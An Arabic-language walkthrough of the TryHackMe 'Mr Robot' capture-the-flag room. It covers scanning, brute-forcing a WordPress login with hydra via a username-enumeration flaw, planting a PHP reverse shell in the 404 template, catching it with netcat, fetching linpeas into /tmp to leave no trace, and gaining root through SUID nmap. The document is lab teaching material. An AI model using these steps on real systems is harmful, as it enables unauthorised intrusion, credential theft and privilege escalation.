TryHackMe|MrRobotCTF WriteUp\Walkthrough (Arabic)
بسم الله
اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:
رابط التحدي: https://tryhackme.com/r/room/mrrobot
============================================================
كلمة IP في كل
الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe
أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل
وهي إننا نسوي scan للشبكة
باستخدام nmap
sudo nmap IP -vv
طلع معانا 3 بورتات 22 و 80 و443، نرجع نسوي Aggressive سكان على نفس هذه البورتات
sudo nmap IP -vv -A -p 22,80,443
بورت 22 طلع إنها closed، مع إنها ظهرت معانا، حتى لما سويت عليها لوحدها سكان، برضو مُغلقة، فنتجاهلها. على بورت 80 و 443 عندي apache server
بنسوي directory enumeration باستخدام gobuster على بورت 80
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP/ -t 64
طلع معانا مسارات كثيرة جدا، بنركز على المسارات اللي نحسها مهمة، مثل robots.txt و readme و wp-admin. أول شيء بنلاحظة هو وجود wp بكثرة في المسارات، وهذا يعني إن هذا الموقع يستخدم WordPress.
أول شيء بنروح للصفحة الرئيسية للموقع، وبيشغل لنا فيديو، ثم لما ينتهي بيعطينا مجموعة كوماندز نقدر ننفذها، كل كوماند تشغل فيديو، خلاص ننتقل لـreadme. بنلقى طابع رسالة ولكن برضو مافيها شيء مهم. ننتقل لـ robots.txt، بنلقى عندنا مسارين
الأول fsocity.dic هو ملف فيه مجموعة كلمات بنستخدمها في الـbrute force بمجرد زيارتنا للمسار بيتحمل معانا الملف.
ثاني مسار key-1-of-3.txt فيه أول فلاق✨.
باقي نزور wp-admin، وبنلقى صفحة تسجيل دخول WordPress. ولو جربنا ندخل أي اسم مستخدم وكلمة سر بيطبع معانا رسالة خطأ، ولكن رسالة الخطأ هذه موضح فيها إن اسم المستخدم غلط، وهذه مشكلة كبيرة بالنسبة للموقع، لأنها تسهل عملية الـbrute force للمُخترقين، ولكنها في هذه الحالة بتفيدنا.
فالخطة الحين إننا بنسوي brute force على اسم المستخدم فقط، حتى نلقى اسم مستخدم صحيح على هذا النظام، بعد كذا بنسوي brute force لهذا الاسم مع كلمات سر مختلفة، ويصير نلقى طريقة ندخل بها للنظام. وبكذا يكون اختصرنا وقت كبيييير، بدل ما نجرب عدد من التباديل كبير جدا وياخذ وقت كبير جدا، نجرب حتى نلقى الاسم، ثم نجرب مع الاسم حتى نلقى كلمة السر، وهذا كله استفدناه لأن الموقع ما طبع password or username are incorrect بل طبع Invalid username
وهذه مشكلة كبيرة، وعشان كذا معاد صرنا نشوفها بالمواقع هذه الأيام. إذن أول حاجة بنبحث عن اسم مستخدم صحيح على هذا الموقع، وعشان ناخذ كل المعلومات اللي نبيها عشان نكمل الـhydra command بنلتقط الطلب باستخدام brupsuite، وناخذ إلى أين بتروح الرسالة، والrequest body عشان نعرف اسماء المتغيرات (اسم المستخدم وكلمة المرور)، وبكذا نكون جاهزين.
هذا الطلب بعد ما التقطناه بالـburp، ووضحت بالتحديد وش اللي نحتاجه منه
الـhydra command للـpost request تكون كالتالي:
هذه الصيغة العامة:
sudo hydra <username> <wordlist> IP http-post-form "<path>:<login_credentials>:<invalid_response>"
وهذه الكوماند اللي بنشغلها
ما بيطول وبيطلع معانا مستخدم اسمه Elliot، إذا كانت هذه النقطة مو واضحة ممكن ترجعون لمقطع الشرح من الدقيقة 7:32 حتى 11:35.
ثم بعد كذا بنبحث عن كلمة السر، بنفس الكوماند لكن بنغير أشياء بسيطة
هنا غيرنا اسماء المستخدمين وخليناها اسم واحد وهو Elliot، وكلمة السر استخدمنا fsocity.dic، وغيرها الرد وخليناه S=302، وهو يرمز لإعادة التوجيه، فهذا معناته إنه لقينا كلمة سر صحيحة، بدال ما نحط الرسالة، وكلها بتشتغل تمام. لكن لو قررنا نحط الرسالة، لازم نرجع للموقع ونحط Elliot ثم نحط أي كلمة سر، ونشوف وش رسالة الخطأ اللي تطلع ونستخدمها، ما ينفع نستخدم نفس رسالة الخطأ اللي طلعت لما دخلنا اسم مستخدم خاطئ.
الحين صار عندنا اسم مستخدم وكلمة سر، نرجع للموقع ونسجل دخول بها، بعد ما ندخل على الموقع، الهدف الآن هو إن نحصل على reverse shell، ومن الطرق الناجحة مع WordPress هو استغلال صفحة الخطأ، فنروح لـ Appearance من القائمة الجانبية، ثم نختار Editor بعد كذا بيفتح معانا صفحة فيها مجموعة من أكواد الصفحات، ثم نبحث عن صفحة الخطأ 404 template، نضغط عليه ونمسح الكود اللي بداخله ونحط بداله الـshell حقتنا.
أنا استخدمت الـpentestmonkey
php shell أخذتها من
الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN لجهازكم ، والبورت نفس ما تبغون.
نرجع للـ dashboard ونلصق الـshell ثم نضغط update file، الحين كل اللي علينا نسويه إننا نزور صفحة غير موجودة على الموقع، وبدال ما يطبع لنا صفحة الخطأ، بينفذ الـreverse shell وبيوصل لنا اتصال من الضحية.
نجهز الـListener على جهازنا
nc -nlvp 4444
من الصفحات اللي غير موجودة، مثلا http://IP/asmaa وإذا زرنا هذه الصفحة، بيوصل الاتصال على جهازنا.
بما إن الـvictim جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.
الخطوات كالتالي:
نشغل هذه الكوماند
باستخدام python3 إذا ما ضبط عادي
نجرب python
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
بعدين هذه الكوماند
export TERM=xterm
ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية
الحين نجيبها لقدام باستخدام
هذه الكوماند
stty raw -echo;fg
الحين صار معانا stable shell نقدر نستخدمها براحتنا
بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell ماهي منتظمة وبادية من نص السطر،
بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.
ممكن برضو نعدل الصفوف والأعمدة للـshell اللي شغالين عليها، عشان لما نفتح محرر نصوص مثلا ما تنحاس علينا النافذة، وعشان نسوي كذا:
نفتح نافذة جديدة ونخلي مقاس الخط مثل اللي احنا شغالين عليها، ثم نشغل
الكوماند
stty -a
ونشوف كم قيمة الصفوف والأعمدة، ثم نروح نسجل نفس القيمة على جهاز الضحية باستخدام هذه الكوماند
stty rows 31; stty cols 134
نروح على home directory
cd /home
ls
عندي مستخدم واحد robot
cd robot
ls -al
بنلاقي ثاني فلاق هنا، ولكن ما يقدر يقرأه إلا robot واحنا الحين www-data، فلازم نصير robot، ولكن في نفس الملفات، في ملف اسمه password.raw-md5، ويبدو إن بداخله كلمة السر hashed باستخدام md5، فنفتح الملف وناخذ محتوياته ونسوي crack لها
أنا استخدمت هذا الموقع
بعد ما تطلع معانا كلمة السر ناخذها ونغير المستخدم إلى robot
su robot
ثم ندخل كلمة السر، بعد كذا نقرأ الملف
cat key-2-of-3.txt
وبكذا حصلنا على ثاني فلاق ✨
آخر فلاق غالبا يكون في الـroot home directory، فلازم نرفع صلاحياتنا عشان نقدر نوصل له، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير
python3
-m http.server
وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك
طيب ليه اخترت الـtmp ؟؟
أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا
عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي
شيء حملته هناك على tmp ويصير ما يبقى لك أثر.
ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان
واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان
هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ.
wget http://OpenVPN-IP:8000/linpeas.sh
ثم نغير صلاحياته لملف تشغيلي
chmod +x
linpeas.sh
ثم نشغله
./linpeas.sh
بيطلع معانا في الـSUID نقطة لرفع الصلاحيات نسبتها %95 وهي Nmap، وعشان نستغلها بنبحث في موقع ممتاز اسمه GTFObins ثم نبحث عن Nmap وتحت Sudo فقرة ب نسوي نفس ما يقول، لكن ما يحتاج نستخدم sudo لأن هي SUID فبتشتغل بصلاحيات المالك أصلا وهو الـroot
نرجع على الضحية وننفذ هذه الكوماند
nmap --interactive
ندخلها ثم بيفتح معانا nmap prompt
ثم
!sh
بنحصل على رووت، ثم
cd /root
ls
ثم نعرض آخر فلاق ✨
cat key-3-of-3.txt
وبكذا انتهينا من حل التحدي، بالتوفييييق 👋🏻✨








Comments
Post a Comment